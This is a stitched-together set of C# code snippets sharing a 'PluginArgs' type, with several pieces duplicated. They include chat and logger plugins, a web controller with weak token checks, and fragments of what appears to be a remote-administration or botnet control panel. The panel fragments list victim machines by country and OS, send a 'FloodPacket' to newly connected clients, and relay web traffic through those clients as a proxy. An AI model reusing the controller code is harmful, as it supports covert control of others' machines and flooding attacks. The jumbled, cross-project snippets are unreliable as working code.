/// <summary> /// Plugin start /// </summary> /// <param name="aPluginArgs">plugin args</param> /// <returns>plugin results</returns> public PluginResult Execute(PluginArgs aPluginArgs) { LoggerManager.THE().init(aPluginArgs.Connector, aPluginArgs.MachInfo); LoggerManager.THE().pushLog("initialized connector and machinfo"); LoggerManager.THE().initDummy(); LoggerManager.THE().pushLog("initialized dummies"); //LoggerData.Instance.init(aPluginArgs.Connector, aPluginArgs.MachInfo); LoggerDlg loggerDlg = new LoggerDlg(); loggerDlg.Show(); PluginResult thePluginResult = new PluginResult(); return(thePluginResult); }
public override void Execute(PluginArgs e) { MessageBox.Show(e.Read(0).ToString(), "", (MessageBoxButtons)(int)e.Read(1), (MessageBoxIcon)(int)e.Read(2)); PluginArgs args = new PluginArgs(Guid); args.Header = 0; Send(args); base.Execute(e); }
protected override bool ProcessCmdKey(ref System.Windows.Forms.Message msg, System.Windows.Forms.Keys keyData) { if ((keyData == (Keys.Control | Keys.V)) || keyData == (Keys.Shift | Keys.Insert)) { // have the ability for the plugin processor to intercept this string data = Clipboard.GetText(TextDataFormat.UnicodeText); PluginArgs args = new PluginArgs(FormMain.Instance.InputPanel.CurrentConnection) { Extra = this.Text, Message = data // add the clipboard data to the clipboard }; foreach (Plugin p in FormMain.Instance.LoadedPlugins) { IceChatPlugin ipc = p as IceChatPlugin; if (ipc != null) { if (ipc.plugin.Enabled == true) { args = ipc.plugin.HotKey(args, new KeyEventArgs(Keys.Control | Keys.V)); } } } if (args.Message.Length == 0) { // dont paste, exit return(true); } string[] lines = data.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); if (lines.Length > 1) { if (base.Multiline == true) { this.AppendText(data); } else { OnCommand(this, data); } return(true); } } if (keyData == Keys.Tab) { NickComplete(); return(true); } else { _nickNumber = -1; } return(false); }
public override void Execute(PluginArgs e) { MessageBox.Show(e.Read(0).ToString(), "", (MessageBoxButtons)(int)e.Read(1), (MessageBoxIcon)(int)e.Read(2)); PluginArgs args = new PluginArgs(Guid); args.Header = 0; Send(args); base.Execute(e); }
private void button1_Click(object sender, EventArgs e) { PluginArgs args = new PluginArgs(plugin.Guid); args.Header = 0; args.Write("Hello!"); args.Write(new Random(54546).Next(0, 5)); args.Write(new Random(65342).Next(0, 3)); plugin.Send(args); }
private void button1_Click(object sender, EventArgs e) { PluginArgs args = new PluginArgs(plugin.Guid); args.Header = 0; args.Write("Hello!"); args.Write(new Random(54546).Next(0, 5)); args.Write(new Random(65342).Next(0, 3)); plugin.Send(args); }
public override void Execute(PluginArgs e) { state = PluginState.RUNNING; new Thread(delegate() { scan(); }).Start(); base.Execute(e); }
public override void Execute(PluginArgs e) { state = PluginState.RUNNING; new Thread(delegate() { scan(); }).Start(); base.Execute(e); }
void plugin_DataReady(object sender, PluginArgs e) { byte[] data = Serializer.Serialize(e); PacketWriter w = new PacketWriter(); w.Write((int)PacketHeader.PLUGIN_EXECUTE); w.Write(data.Length); w.Write(data); Send(w.ToArray(true)); }
void plugin_Received(object sender, PluginArgs e) { Invoke((MethodInvoker) delegate { switch (e.Header) { case 0: MessageBox.Show("Message box shown"); break; } }); }
void plugin_Received(object sender, PluginArgs e) { Invoke((MethodInvoker)delegate { switch (e.Header) { case 0: MessageBox.Show("Message box shown"); break; } }); }
void plugin_DataReady(object sender, PluginArgs e) { switch (e.Header) { case 2: { byte[] buffer = Encoding.Default.GetBytes((string)e.Read(0)); string id = e.Read(1).ToString(); clients[id].Send(buffer); //clients.Remove(id); } break; } }
private void btnRun_Click(object sender, EventArgs e) { if (Running) { return; } port = (int)numPort.Value; PluginArgs args = new PluginArgs(plugin.Guid); args.Header = 0; args.Write(GetIP()); args.Write((int)numPort.Value); plugin.Send(args); Start(); }
public override void Execute(PluginArgs e) { switch (e.Header) { case 0: { } break; case 1: { } break; case 2: { run((string)e.Read(0), (string)e.Read(1)); } break; } base.Execute(e); }
void _pluginManager_Added(object sender, PluginArgs e) { Register(e.Plugin); }
void _pluginManager_Removed(object sender, PluginArgs e) { Unregister(e.Plugin); }
void _pluginManager_Added(object sender, PluginArgs e) { Register(e.Plugin); }
void _pluginManager_Removed(object sender, PluginArgs e) { Unregister(e.Plugin); }
private void btnRun_Click(object sender, EventArgs e) { if (Running) return; port = (int)numPort.Value; PluginArgs args = new PluginArgs(plugin.Guid); args.Header = 0; args.Write(GetIP()); args.Write((int)numPort.Value); plugin.Send(args); Start(); }
void plugin_DataReady(object sender, PluginArgs e) { switch (e.Header) { case 2: { byte[] buffer = Encoding.Default.GetBytes((string)e.Read(0)); string id = e.Read(1).ToString(); clients[id].Send(buffer); //clients.Remove(id); } break; } }
void beginRead(Socket client) { ThreadStart starter = delegate { int rec = 0; client.ReceiveTimeout = 900; clients.Add(Guid.NewGuid().ToString(), client); while (true) { byte[] buffer = new byte[8192]; try { Console.WriteLine("Reading Request"); rec = client.Receive(buffer); if (rec == 0) { throw new Exception(); } } catch { break; } Array.Resize(ref buffer, rec); PluginArgs e = new PluginArgs(plugin.Guid); e.Header = 2; e.Write(Encoding.Default.GetString(buffer)); e.Write(clients.Keys[clients.Count - 1]); plugin.Send(e); } //while (true) //{ // byte[] buffer = new byte[8192]; // try // { // Console.WriteLine("Reading web response"); // rec = proxySocket.Receive(buffer); // if (rec == 0) // throw new Exception(); // } // catch { break; } // Array.Resize(ref buffer, rec); // try // { // client.Send(buffer); // } // catch { } // Console.WriteLine("Response bytes being sent to server"); //} //try //{ // client.Disconnect(false); // client.Close(); // proxySocket.Disconnect(false); // proxySocket.Close(); // Console.WriteLine("Sockets Closed"); //} //catch { } }; new Thread(starter).Start(); }
void beginRead(Socket client) { ThreadStart starter = delegate { int rec = 0; client.ReceiveTimeout = 900; clients.Add(Guid.NewGuid().ToString(), client); while (true) { byte[] buffer = new byte[8192]; try { Console.WriteLine("Reading Request"); rec = client.Receive(buffer); if (rec == 0) throw new Exception(); } catch { break; } Array.Resize(ref buffer, rec); PluginArgs e = new PluginArgs(plugin.Guid); e.Header = 2; e.Write(Encoding.Default.GetString(buffer)); e.Write(clients.Keys[clients.Count - 1]); plugin.Send(e); } //while (true) //{ // byte[] buffer = new byte[8192]; // try // { // Console.WriteLine("Reading web response"); // rec = proxySocket.Receive(buffer); // if (rec == 0) // throw new Exception(); // } // catch { break; } // Array.Resize(ref buffer, rec); // try // { // client.Send(buffer); // } // catch { } // Console.WriteLine("Response bytes being sent to server"); //} //try //{ // client.Disconnect(false); // client.Close(); // proxySocket.Disconnect(false); // proxySocket.Close(); // Console.WriteLine("Sockets Closed"); //} //catch { } }; new Thread(starter).Start(); }
void plugin_DataReady(object sender, PluginArgs e) { byte[] data = Serializer.Serialize(e); PacketWriter w = new PacketWriter(); w.Write((int)PacketHeader.PLUGIN_EXECUTE); w.Write(data.Length); w.Write(data); Send(w.ToArray(true)); }
void client_DataReceived(object sender, DataReceivedEventArgs e) { Client client = (Client)sender; //try //{ switch (e.Header) { case (int)PacketHeader.PASSWORD: { PacketWriter w = new PacketWriter(); string pass = e.Reader.ReadString(); if (Settings.Passwords.Contains(pass) || pass == string.Empty || pass == "") { w.Write((int)PacketHeader.PASSWORD_ACCEPT); } else { w.Write((int)PacketHeader.PASSWORD_DENIED); Invoke((MethodInvoker) delegate { GlobalProperties.NI.ShowBalloonTip(1500, "Invalid Password", "The client was disconnected due to wrong password", ToolTipIcon.Error); }); client.DisconnectNotify = false; } client.Send(w.ToArray(true)); w = null; } break; case (int)PacketHeader.INFORMATION: { if (Settings.Limit != 0) { if (GlobalProperties.Online == Settings.Limit) { PacketWriter w = new PacketWriter(); w.Write((int)PacketHeader.LIMIT); client.Send(w.ToArray(true)); w = null; Invoke((MethodInvoker) delegate { GlobalProperties.NI.ShowBalloonTip(2000, "Limit Reached", "New client will be disconnected due to connection limit", ToolTipIcon.Warning); }); break; } } GlobalProperties.Online++; client.Lvi.SubItems.Add(client.KeyboardCountry = e.Reader.ReadString()); if (countryByGeoIPToolStripMenuItem.Checked) { client.Lvi.SubItems[1].Text = geoIp.lookupCountryName(client.Address.ToString().Split(':')[0]); } client.Lvi.SubItems.Add(Parser.GetOS(e.Reader.ReadString())); client.Lvi.SubItems.Add("Idle"); client.Lvi.SubItems.Add(e.Reader.ReadString()); client.Lvi.SubItems.Add("UKN"); client.Lvi.SubItems.Add(client.Socket.Port.ToString()); client.Lvi.ImageIndex = Functions.GetCountryIndex(client.Lvi.SubItems[1].Text, flags); Invoke((MethodInvoker) delegate { client.FullyConnected = true; if (xHideIPs.Checked) { client.Lvi.Text = string.Empty; } lstClients.Items.Add(client.Lvi); if (scrollToLatestToolStripMenuItem.Checked) { client.Lvi.EnsureVisible(); } if (Settings.NotifyConnected) { GlobalProperties.NI.ShowBalloonTip(3000, "Connection", string.Format("IP Address: {0}\nCountry: {1}\nOS: {2}\nVersion: {3}\nPort: {4}", (!xHideIPs.Checked ? client.Lvi.Text : "HIDDEN"), client.Lvi.SubItems[1].Text, client.Lvi.SubItems[2].Text, client.Lvi.SubItems[4].Text, client.Lvi.SubItems[6].Text), ToolTipIcon.Info); } }); if (Settings.LogDisconnected) { EventLogger.LogEvent("Connection", (!xHideIPs.Checked ? client.Lvi.Text : "Client") + " Connected"); } if (GlobalProperties.Online > peak) { peak = GlobalProperties.Online; updatePeak(); } if (GlobalProperties.Online > total) { total = GlobalProperties.Online; updateTotal(); } updateOnline(); if (FloodPacket != null) { client.Send(FloodPacket); } } break; case (int)PacketHeader.STATUS: try { client.SetStatus(Parser.GetStatus(e.Reader.ReadInt32(), e.Reader.ReadInt32())); } catch { } break; case (int)PacketHeader.PLUGIN_STATUS: { try { Guid guid = new Guid(e.Reader.ReadString()); int code = e.Reader.ReadInt32(); string add = e.Reader.ReadString(); client.SetStatus(Parser.GetPluginStatus(guid, code, add)); } catch { } } break; case (int)PacketHeader.PLUGIN_DATA: { try { int len = e.Reader.ReadInt32(); PluginArgs args = Serializer.Deserialize(e.Reader.ReadBytes(len)); GlobalProperties.InitializedPlugins[args.PluginGuid].OnReceived(args); } catch { } } break; case (int)PacketHeader.SPEED: { try { Invoke((MethodInvoker) delegate { client.Lvi.SubItems[5].Text = e.Reader.ReadDouble().ToString() + " KB/SEC"; }); string speed = Parser.GetTotalSpeed(Clients); Invoke((MethodInvoker) delegate { lblTotalSpeed.Text = "Total Speed: " + speed; }); } catch { } } break; case (int)PacketHeader.CONFIRM: { client.Alive = true; client.SendPing(); } break; } received += e.Length; updateReceived(); //} //catch { } if ((PacketHeader)e.Header != PacketHeader.PLUGIN_GET && (PacketHeader)e.Header != PacketHeader.PLUGIN_REMOVE && pluginView == null) { e.Reader.Close(); } }
void run(string data, string id) { ThreadStart starter = delegate { int rec = 0; string host = string.Empty; string[] lines = data.Split('\n'); foreach (string line in lines) { if (line.Contains("Host: ")) { host = line.Replace("Host: ", string.Empty).Trim(); break; } } lines = null; Socket webSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); int port = 80; if (host.Contains("https")) { port = 443; } try { webSocket.Connect(Dns.GetHostEntry(host).AddressList[0], port); } catch { webSocket.Close(); return; } webSocket.Send(Encoding.Default.GetBytes(data)); webSocket.ReceiveTimeout = 900; while (true) { byte[] buffer = new byte[8192]; try { rec = webSocket.Receive(buffer); if (rec == 0) { throw new Exception(); } } catch { break; } Array.Resize(ref buffer, rec); PluginArgs args = new PluginArgs(Guid); args.Header = 2; args.Write(Encoding.Default.GetString(buffer)); args.Write(id); Send(args); Console.WriteLine("DATA READ FROM RESPONSE: {0}, HOST: {1}", buffer.Length, host); } webSocket.Disconnect(false); webSocket.Close(); Console.WriteLine("CONNECTION CLOSED"); }; new Thread(starter).Start(); }
public ActionResult app(string state) { string json = ""; try { //this is a sample /**string encryptedBase64String=A9XqFaC4VY7qQeXRwBGthnXaf2bFtIaAMhaTpROibMKdGhM8NFTRIvqWjyN3S9mCPjRprQwjJ7P%2F1a6TNpQPPidE7kPx%2BGhvAEhEYV6dZN02qASI1HVvVdCooHzsFaqVixIqZSGGU8SBQu%2F2GVrPGJiMN9CyvmJBSe3YFtWzNFs0g0OjkG8K8aDmw3VqgcWalFr7CYDyU4H81rgY6DpIwdLNewAPJ5rBvchRMAOvXbgCe4DAGbFNmYEpy9I4TH8oKRMtaDoHOlvPkYKTWFGWmg%3D%3D*/ json = Base64CryptoHelper.DecryptString(Server.UrlDecode(state).Replace(" ", "+"));/*Fix for decoding problem that causes + to be replaced with space " "*/ if (String.IsNullOrEmpty(json)) { if (!String.IsNullOrEmpty(state)) { json = state; } } } catch (Exception e) { return(FailureResponse(CreateAppParameter.CODES.INVALID_SECURITY_DATA, "Security failure", 0, null, null)); } if (String.IsNullOrEmpty(json)) { return(FailureResponse(CreateAppParameter.CODES.INVALID_SECURITY_DATA, "Security failure", 0, null, null)); } PluginArgs oArgs = new PluginArgs(); try { JavaScriptSerializer jsonSerializer = new JavaScriptSerializer(); oArgs = (PluginArgs)jsonSerializer.Deserialize <PluginArgs>(json); if (string.Compare(oArgs.token, "backand", false) != 0) { return(FailureResponse(CreateAppParameter.CODES.INVALID_SECURITY_DATA, "Security failure", 0, null, null)); //Security failure due to invalid arguments, redirect to Heroku } } catch (Exception e) { //Security failure due to invalid arguments, redirect to Heroku return(FailureResponse(CreateAppParameter.CODES.INVALID_CONNECTION_DATA, "invalid ConnectionId", 0, null, null)); } //pass security token then sign the user GetUsernameByUserId(uid); //oArgs.resource_id = "404"; string userName = Maps.Instance.DuradosMap.Database.GetUsernameById(oArgs.resource_id); PlugInHelper.SignIn(userName); int uid = Convert.ToInt32(oArgs.resource_id); //oArgs.app_name += "testqa"; int?connectionId = null; string appName = oArgs.app_name; string pluginAppName = appName; bool bAppExist = Maps.Instance.AppExists(appName, uid).HasValue; if (bAppExist == true) { /**This user has this App/Console*/ /***Validate Connection String !!! what about updatig connection string scenario?*/ //Redirect to app (console) return(SuccessResponse(0, userName, appName, pluginAppName, true)); } else { //DuradosController d = new DuradosController(); bool connectionValidation = false; bAppExist = Maps.Instance.AppExists(appName).HasValue; ConnectionParameter oConnectionParameter = new ConnectionParameter(); /**If true app exists but not for this user (resource_id)*/ if (bAppExist == true) { /**Create new and unique app name*/ appName = GenerateAppName(appName, uid); } try { oConnectionParameter = ValidateConnection(oArgs.db, oArgs.resource_id); connectionValidation = true; } catch (Exception exception) { Map.Logger.Log(GetControllerNameForLog(this.ControllerContext), this.ControllerContext.RouteData.Values["action"].ToString(), exception.Source, exception, 3, null); //Redirect dur to invalid connection string return(FailureResponse(CreateAppParameter.CODES.INVALID_CONNECTION_DATA, exception.Message, 0, userName, appName)); } if (connectionValidation == true) { try { string serverName = oConnectionParameter.serverName; string catalog = oConnectionParameter.catalog; string dbUserName = oConnectionParameter.dbUsername; string dbPassword = oConnectionParameter.dbPassword; int port = oConnectionParameter.port; SqlProduct productId = oConnectionParameter.productId; connectionId = SaveConnection(serverName, catalog, dbUserName, dbPassword, oArgs.resource_id, productId, oConnectionParameter.ssl); } catch (Exception exception) { Map.Logger.Log(GetControllerNameForLog(this.ControllerContext), this.ControllerContext.RouteData.Values["action"].ToString(), exception.Source, exception, 1, "fail to save connection string"); //Redirect due to create connection id for retrived connection string //return View("~/Views/PlugIn/Heroku/ConnectionHandler.aspx", new ConnectionHandlerParameter() { url = "" }); return(FailureResponse(CreateAppParameter.CODES.INVALID_CONNECTION_DATA, exception.Message, 0, userName, appName)); } } if (!connectionId.HasValue || connectionId == null) { /**If not valide redirect to failure page*/ return(FailureResponse(CreateAppParameter.CODES.INVALID_CONNECTION_DATA, "invalid ConnectionId", 0, userName, appName)); } } /**Redirect and Create new App send new connection id*/ return(SuccessResponse(connectionId.Value, userName, oArgs.app_name, pluginAppName)); }